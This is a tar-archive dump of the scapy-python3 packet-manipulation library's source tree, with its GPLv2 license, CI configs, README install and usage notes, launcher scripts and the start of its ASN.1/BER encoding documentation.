pax_global_header00006660000000000000000000000064132056123100014503gustar00rootroot0000000000000052 comment=42f4780fa9ce3b0691b0ec900065c0c57945d285 scapy-0.23/000077500000000000000000000000001320561231000125465ustar00rootroot00000000000000scapy-0.23/.gitignore000066400000000000000000000001501320561231000145320ustar00rootroot00000000000000build _build __pycache__ *.pyc *.sublime-project *.sublime-workspace scapy_python3.egg-info .idea *.swp scapy-0.23/.travis.yml000066400000000000000000000002221320561231000146530ustar00rootroot00000000000000language: python python: - 3.4 - 3.5 - 3.6 sudo: required install: - pip install cryptography script: - cd test - sudo ./run_testsscapy-0.23/LICENSE000066400000000000000000000431761320561231000135660ustar00rootroot00000000000000 GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. {description} Copyright (C) {year} {fullname} This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. {signature of Ty Coon}, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. scapy-0.23/MANIFEST.in000066400000000000000000000001761320561231000143100ustar00rootroot00000000000000include MANIFEST.in include README include run_scapy recursive-include bin * recursive-include doc * recursive-include test * scapy-0.23/README.md000066400000000000000000000103371320561231000140310ustar00rootroot00000000000000# scapy for python3 (aka scapy3k) [Follow @scapy3k](https://twitter.com/scapy3k) and/or see [scapy3k news and examples](https://phaethon.github.io/scapy) for recent news. [Original scapy documentation updated for scapy3k](http://phaethon.github.io/scapy/api/index.html) This is a fork of scapy (http://www.secdev.org) to make it compatible with python3. Fork based on scapy v2.3.1 All tests from regression (758 tests), ipsec, and both other test suites pass. Also, I tested full tutorial series [Building Network Tools with Scapy by @thepacketgeek](http://thepacketgeek.com/series/building-network-tools-with-scapy/) using scapy-python3. Please, submit all issues https://github.com/phaethon/scapy preferrably with .pcap files for tests. Bugs for individual layers are usually easy to fix. [winpcapy.py by Massimo Ciani](https://code.google.com/p/winpcapy/) integrated inside code. ## News [Follow @scapy3k](https://twitter.com/scapy3k) and/or see [scapy3k](https://phaethon.github.io/scapy) for recent news. Scapy3k is included in the [Network Security Toolkit](http://www.networksecuritytoolkit.org/nst/index.html) Release 22. Classic scapy has been trying to catch up with the improvements in scapy3k. These features were first implemented in scapy3k and some of them might have been reimplemented in scapy or not: * replaced PyCrypto with cryptography.io (thanks to @ThomasFaivre) * Windows support without a need for libdnet * option to return Networkx graphs instead of image, e.g. for conversations * replaced gnuplot with Matplotlib * Reading PCAP Next Generation (PCAPNG) files (please, add issues on GitHub for block types and options, which need support. Currently, reading packets only from Enhanced Packet Block) * new command tdecode to call tshark decoding on one packet and display results, this is handy for interactive work and debugging * some bugs fixed, which are still present in original scapy ## Installation Install with `python3 setup.py install` from source tree (get it with `git clone https://github.com/phaethon/scapy.git`) or `pip3 install scapy-python3` for latest published version. On all OS except Linux libpcap should be installed for sending and receiving packets (not python modules - just C libraries) or winpcap driver on Windows. On some OS and configurations installing libdnet may improve experience (for MacOS: `brew install libdnet`). On Windows libdnet is not required. On some less common configurations netifaces may improve experience. ## Usage *N.B.! As a difference from scapy for python2, use `bytes()` instead of `str()` when converting packet to bytes. Also, most arguments expect `bytes` value instead of `str `value except the ones, which are naturally suited for human input (e.g. domain name).* You can use scapy running scapy command or by importing scapy library from interactive python shell (python or ipython). Simple example that you can try from interactive shell: ```python from scapy.all import * p = IP(dst = 'www.somesite.ex') / TCP(dport = 80) / Raw(b'Some raw bytes') # to see packet content as bytes use bytes(p) not str(p) sr1(p) ``` Notice `'www.somesite.ex'` as a string, and `b'Some raw bytes'` as bytes. Domain name is normal human input, thus it is string, raw packet content is byte data. Once you start using, it will seem easier than it looks. Use `ls()` to list all supported layers. Use `lsc()` to list all commands. ## Compatibility All commands listed by `lsc()` should work. Tested layers are: * ARP * DHCP * DHCPv6 * DNS * DoIP * Dot3 * Dot11 * Ether * ICMP * ICMPv6 * IP * IPv6 * LLC * NTP * Padding * PPP * RadioTap * Raw * SCTP * SNAP * SNMP * STP * TCP * TFTP * UDP Currently, works on Linux, Darwin, Unix and co. Using python 3.4 on Ubuntu and FreeBSD for testing. Windows support in progress. Compatible with [scapy-http module](https://github.com/invernizzi/scapy-http) ## Short cookbook More examples will be posted at [scapy3k](https://phaethon.github.io/scapy) ### Reading huge pcap file rdpcap reads whole pcap file into memory. If you need to process huge file and perform some operation per packet or calculate some statistics, you can use PcapReader with iterator interface. ```python with PcapReader('filename.pcap') as pcap_reader: for pkt in pcap_reader: #do something with the packet scapy-0.23/appveyor.yml000066400000000000000000000010261320561231000151350ustar00rootroot00000000000000version: 1.0.{build} environment: matrix: - python: C:\\Python36-x64 - python: C:\\Python36 build: off test_script: - ps: "echo \"Python var is:\"\necho $env:python\n\nchoco install -y winpcap\n$env:Path=$env:python+\";\"+$env:Path\necho $env:Path\npython --version\ncd test\ncmd /c \".\\run_tests.bat -t windows.uts\" 2>&1 1> output.txt\n$lineobject = cat output.txt | Select-String \"FAILED=[^0]\" | Measure-Object -line\nif ($lineobject.lines -ne 0 -or $lastexitcode -ne 0) { \n cat output.txt\n exit 1 \n}" scapy-0.23/bin/000077500000000000000000000000001320561231000133165ustar00rootroot00000000000000scapy-0.23/bin/UTscapy000077500000000000000000000027341320561231000146420ustar00rootroot00000000000000#! /usr/bin/env python3 ############################################################################# ## ## ## UTscapy.py --- Unit Tests with scapy ## ## see http://www.secdev.org/projects/UTscapy/ ## ## for more informations ## ## ## ## Copyright (C) 2005 Philippe Biondi ## ## ## ## This program is free software; you can redistribute it and/or modify it ## ## under the terms of the GNU General Public License version 2 as ## ## published by the Free Software Foundation. ## ## ## ## This program is distributed in the hope that it will be useful, but ## ## WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## ## General Public License for more details. ## ## ## ############################################################################# import sys from scapy.tools.UTscapy import main main(sys.argv[1:]) scapy-0.23/bin/UTscapy.bat000077500000000000000000000001701320561231000153770ustar00rootroot00000000000000@REM Use Python to run the UTscapy script from the current directory, passing all parameters @python %~dp0\UTscapy %* scapy-0.23/bin/scapy000077500000000000000000000027031320561231000143650ustar00rootroot00000000000000#! /usr/bin/env python3 ############################################################################# ## ## ## scapy.py --- Interactive packet manipulation tool ## ## see http://www.secdev.org/projects/scapy/ ## ## for more informations ## ## ## ## Copyright (C) Philippe Biondi ## ## ## ## This program is free software; you can redistribute it and/or modify it ## ## under the terms of the GNU General Public License version 2 as ## ## published by the Free Software Foundation. ## ## ## ## This program is distributed in the hope that it will be useful, but ## ## WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## ## General Public License for more details. ## ## ## ############################################################################# from scapy.main import interact interact() scapy-0.23/bin/scapy.bat000077500000000000000000000001641320561231000151310ustar00rootroot00000000000000@REM Use Python to run the Scapy script from the current directory, passing all parameters @python %~dp0\scapy %* scapy-0.23/doc/000077500000000000000000000000001320561231000133135ustar00rootroot00000000000000scapy-0.23/doc/scapy.1.gz000066400000000000000000000042271320561231000151400ustar00rootroot00000000000000TBAXscapy.1Xko8_A 8rvLO")-8[q8$Za*x=oo)&e"a#+etЭC;a5WRskF7gֺ2*D)`er ٢d$~Ciଔ + *6tkB7KzJv1˺f`DZ`5E5NW%>9V[U _Bp9+M-(xRyY1C@2Rj%Q]Xr!wzmH7Az. 1d[pvL1q^{ 6#]mrQT<^~WneqwyXG jY x(LbǕꢾbVgể"6NQAE]ij)qźjHA1E!ǢOX::} <. /œ.п]+7g'aQO4y|r0G:+| $ꬭЌpcR{ȱH-!i|]ε^qt-QBՁ$o<').Ƞ ;Kޫh:E%L ne=L=UOcH[AߤʍL6 i+!a7!&/wA-ޭG/kzE]wi!dA0ψ38xRPӀc9Y~HƼ-Δ7/N,Hy_;0c)HEЊ1Ǥ¬"0\@Dj\(dIREhCwhao`@Gf.u,^`W8j˵*IqEЪt@nZe}F]/U+e$ +`;̞UioPD)]KHǐ2JGJlW2'u02z-%1b240ƃF_#%a RF2^# u4Lb&*ءKM%`j Qs"pNnV)>`౾ǎbEsN "os޶iֆ &CZi{7aiHp`/ռXYX:,f^9Aٴn|Ců8fsŮPF۬%tFVKl_SI^hbp #:`5d܇&Єi\Xw5F g7wc+zD Aq,7VVU-{B4?S;"}̒C-ix1wH 2x qRlzE`7Fk0lv~5ث|ljN,Lv EF >?%ɯv tljyl(:Aţ?[ȋ/}Oݽce@ j]tnװwUtKl洧ԞD # ܎z~GLpIQ^K-AQ$Bah# ά:bE}N(tv`ix'La0' where is one of" @echo " html to make standalone HTML files" @echo " pickle to make pickle files (usable by e.g. sphinx-web)" @echo " htmlhelp to make HTML files and a HTML help project" @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter" @echo " changes to make an overview over all changed/added/deprecated items" @echo " linkcheck to check all external links for integrity" clean: -rm -rf _build/* html: mkdir -p _build/html _build/doctrees $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) _build/html @echo @echo "Build finished. The HTML pages are in _build/html." pickle: mkdir -p _build/pickle _build/doctrees $(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) _build/pickle @echo @echo "Build finished; now you can process the pickle files or run" @echo " sphinx-web _build/pickle" @echo "to start the sphinx-web server." web: pickle htmlhelp: mkdir -p _build/htmlhelp _build/doctrees $(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) _build/htmlhelp @echo @echo "Build finished; now you can run HTML Help Workshop with the" \ ".hhp project file in _build/htmlhelp." latex: mkdir -p _build/latex _build/doctrees $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) _build/latex @echo @echo "Build finished; the LaTeX files are in _build/latex." @echo "Run \`make all-pdf' or \`make all-ps' in that directory to" \ "run these through (pdf)latex." changes: mkdir -p _build/changes _build/doctrees $(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) _build/changes @echo @echo "The overview file is in _build/changes." linkcheck: mkdir -p _build/linkcheck _build/doctrees $(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) _build/linkcheck @echo @echo "Link check complete; look for any errors in the above output " \ "or in _build/linkcheck/output.txt." scapy-0.23/doc/scapy/README000066400000000000000000000013771320561231000153220ustar00rootroot00000000000000This folder includes source files (text and graphics) for Scapy's documentation, which is automatically built using Sphinx The *.rst files are written as reStructuredText and should be quite readable in your favourite text editor without any further formatting. To generate much nicer, searchable HTML docs, install Sphinx, open a command line, change to the directory where this README is placed, and type the following command: $ make html To generate a single PDF file (useful for printing) you need a working LaTeX installation (e.g. ). The following commands produce the file Scapy.pdf (>100 pages): $ make latex $ cd _build/latex $ make all-pdf Documentation parts are updated for scapy3k scapy-0.23/doc/scapy/_static/000077500000000000000000000000001320561231000160605ustar00rootroot00000000000000scapy-0.23/doc/scapy/_static/_dummy000066400000000000000000000000001320561231000172630ustar00rootroot00000000000000scapy-0.23/doc/scapy/_templates/000077500000000000000000000000001320561231000165675ustar00rootroot00000000000000scapy-0.23/doc/scapy/_templates/_dummy000066400000000000000000000000001320561231000177720ustar00rootroot00000000000000scapy-0.23/doc/scapy/advanced_usage.rst000066400000000000000000001144441320561231000201250ustar00rootroot00000000000000************** Advanced usage ************** .. note:: This section has not been updated for scapy3k yet. Code examples may not work directly. Try bytes() instead of str() and b'string' instead of b'somestring'. ASN.1 and SNMP ============== What is ASN.1? -------------- .. note:: This is only my view on ASN.1, explained as simply as possible. For more theoretical or academic views, I'm sure you'll find better on the Internet. ASN.1 is a notation whose goal is to specify formats for data exchange. It is independant of the way data is encoded. Data encoding is specified in Encoding Rules. The most used encoding rules are BER (Basic Encoding Rules) and DER (Distinguished Encoding Rules). Both look the same, but the latter is specified to guarantee uniqueness of encoding. This property is quite interesting when speaking about cryptography, hashes and signatures. ASN.1 provides basic objects: integers, many kinds of strings, floats, booleans, containers, etc. They are grouped in the so called Universal class. A given protocol can provide other objects which will be grouped in the Context class. For example, SNMP defines PDU_GET or PDU_SET objects. There are also the Application and Private classes. Each of theses objects is given a tag that will be used by the encoding rules. Tags from 1 are used for Universal class. 1 is boolean, 2 is integer, 3 is a bit string, 6 is an OID, 48 is for a sequence. Tags from the ``Context`` class begin at 0xa0. When encountering an object tagged by 0xa0, we'll need to know the context to be able to decode it. For example, in SNMP context, 0xa0 is a PDU_GET object, while in X509 context, it is a container for the certificate version. Other objects are created by assembling all those basic brick objects. The composition is done using sequences and arrays (sets) of previously defined or existing objects. The final object (an X509 certificate, a SNMP packet) is a tree whose non-leaf nodes are sequences and sets objects (or derived context objects), and whose leaf nodes are integers, strings, OID, etc. Scapy and ASN.1 --------------- Scapy provides a way to easily encode or decode ASN.1 and also program those encoders/decoders. It is quite more lax than what an ASN.1 parser should be, and it kind of ignores constraints. It won't replace neither an ASN.1 parser nor an ASN.1 compiler. Actually, it has been written to be able to encode and decode broken ASN.1. It can handle corrupted encoded strings and can also create those. ASN.1 engine ^^^^^^^^^^^^ Note: many of the classes definitions presented here use metaclasses. If you don't look precisely at the source code and you only rely on my captures, you may think they sometimes exhibit a kind of magic behaviour. `` Scapy ASN.1 engine provides classes to link objects and their tags. They inherit from the ``ASN1_Class``. The first one is ``ASN1_Class_UNIVERSAL``, which provide tags for most Universal objects. Each new context (``SNMP``, ``X509``) will inherit from it and add its own objects. :: class ASN1_Class_UNIVERSAL(ASN1_Class): name = "UNIVERSAL" # [...] BOOLEAN = 1 INTEGER = 2 BIT_STRING = 3 # [...] class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL): name="SNMP" PDU_GET = 0xa0 PDU_NEXT = 0xa1 PDU_RESPONSE = 0xa2 class ASN1_Class_X509(ASN1_Class_UNIVERSAL): name="X509" CONT0 = 0xa0 CONT1 = 0xa1 # [...] All ASN.1 objects are represented by simple Python instances that act as nutshells for the raw values. The simple logic is handled by ``ASN1_Object`` whose they inherit from. Hence they are quite simple:: class ASN1_INTEGER(ASN1_Object): tag = ASN1_Class_UNIVERSAL.INTEGER class ASN1_STRING(ASN1_Object): tag = ASN1_Class_UNIVERSAL.STRING class ASN1_BIT_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.BIT_STRING These instances can be assembled to create an ASN.1 tree:: >>> x=ASN1_SEQUENCE([ASN1_INTEGER(7),ASN1_STRING("egg"),ASN1_SEQUENCE([ASN1_BOOLEAN(False)])]) >>> x , , ]]>]]> >>> x.show() # ASN1_SEQUENCE: # ASN1_SEQUENCE: Encoding engines ^^^^^^^^^^^^^^^^^ As with the standard, ASN.1 and encoding are independent. We have just seen how to create a compounded ASN.1 object. To encode or decode it, we need to choose an encoding rule. Scapy provides only BER for the moment (actually, it may be DER. DER looks like BER except only minimal encoding is authorised which may well be what I did). I call this an ASN.1 codec. Encoding and decoding are done using class methods provided by the codec. For example the ``BERcodec_INTEGER`` class provides a ``.enc()`` and a ``.dec()`` class methods that can convert between an encoded string and a value of their type. They all inherit from BERcodec_Object which is able to decode objects from any type:: >>> BERcodec_INTEGER.enc(7) '\x02\x01\x07' >>> BERcodec_BIT_STRING.enc("egg") '\x03\x03egg' >>> BERcodec_STRING.enc("egg") '\x04\x03egg' >>> BERcodec_STRING.dec('\x04\x03egg') (, '') >>> BERcodec_STRING.dec('\x03\x03egg') Traceback (most recent call last): File "", line 1, in ? File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2178, in do_dec l,s,t = cls.check_type_check_len(s) File "/usr/bin/scapy", line 2076, in check_type_check_len l,s3 = cls.check_type_get_len(s) File "/usr/bin/scapy", line 2069, in check_type_get_len s2 = cls.check_type(s) File "/usr/bin/scapy", line 2065, in check_type (cls.__name__, ord(s[0]), ord(s[0]),cls.tag), remaining=s) BER_BadTag_Decoding_Error: BERcodec_STRING: Got tag [3/0x3] while expecting ### Already decoded ### None ### Remaining ### '\x03\x03egg' >>> BERcodec_Object.dec('\x03\x03egg') (, '') ASN.1 objects are encoded using their ``.enc()`` method. This method must be called with the codec we want to use. All codecs are referenced in the ASN1_Codecs object. ``str()`` can also be used. In this case, the default codec (``conf.ASN1_default_codec``) will be used. :: >>> x.enc(ASN1_Codecs.BER) '0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00' >>> str(x) '0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00' >>> xx,remain = BERcodec_Object.dec(_) >>> xx.show() # ASN1_SEQUENCE: # ASN1_SEQUENCE: >>> remain '' By default, decoding is done using the ``Universal`` class, which means objects defined in the ``Context`` class will not be decoded. There is a good reason for that: the decoding depends on the context! :: >>> cert=""" ... MIIF5jCCA86gAwIBAgIBATANBgkqhkiG9w0BAQUFADCBgzELMAkGA1UEBhMC ... VVMxHTAbBgNVBAoTFEFPTCBUaW1lIFdhcm5lciBJbmMuMRwwGgYDVQQLExNB ... bWVyaWNhIE9ubGluZSBJbmMuMTcwNQYDVQQDEy5BT0wgVGltZSBXYXJuZXIg ... Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAyMB4XDTAyMDUyOTA2MDAw ... MFoXDTM3MDkyODIzNDMwMFowgYMxCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRB ... T0wgVGltZSBXYXJuZXIgSW5jLjEcMBoGA1UECxMTQW1lcmljYSBPbmxpbmUg ... SW5jLjE3MDUGA1UEAxMuQU9MIFRpbWUgV2FybmVyIFJvb3QgQ2VydGlmaWNh ... dGlvbiBBdXRob3JpdHkgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC ... ggIBALQ3WggWmRToVbEbJGv8x4vmh6mJ7ouZzU9AhqS2TcnZsdw8TQ2FTBVs ... RotSeJ/4I/1n9SQ6aF3Q92RhQVSji6UI0ilbm2BPJoPRYxJWSXakFsKlnUWs ... i4SVqBax7J/qJBrvuVdcmiQhLE0OcR+mrF1FdAOYxFSMFkpBd4aVdQxHAWZg ... /BXxD+r1FHjHDtdugRxev17nOirYlxcwfACtCJ0zr7iZYYCLqJV+FNwSbKTQ ... 2O9ASQI2+W6p1h2WVgSysy0WVoaP2SBXgM1nEG2wTPDaRrbqJS5Gr42whTg0 ... ixQmgiusrpkLjhTXUr2eacOGAgvqdnUxCc4zGSGFQ+aJLZ8lN2fxI2rSAG2X ... +Z/nKcrdH9cG6rjJuQkhn8g/BsXS6RJGAE57COtCPStIbp1n3UsC5ETzkxml ... J85per5n0/xQpCyrw2u544BMzwVhSyvcG7mm0tCq9Stz+86QNZ8MUhy/XCFh ... EVsVS6kkUfykXPcXnbDS+gfpj1bkGoxoigTTfFrjnqKhynFbotSg5ymFXQNo ... Kk/SBtc9+cMDLz9l+WceR0DTYw/j1Y75hauXTLPXJuuWCpTehTacyH+BCQJJ ... Kg71ZDIMgtG6aoIbs0t0EfOMd9afv9w3pKdVBC/UMejTRrkDfNoSTllkt1Ex ... MVCgyhwn2RAurda9EGYrw7AiShJbAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMB ... Af8wHQYDVR0OBBYEFE9pbQN+nZ8HGEO8txBO1b+pxCAoMB8GA1UdIwQYMBaA ... FE9pbQN+nZ8HGEO8txBO1b+pxCAoMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG ... 9w0BAQUFAAOCAgEAO/Ouyuguh4X7ZVnnrREUpVe8WJ8kEle7+z802u6teio0 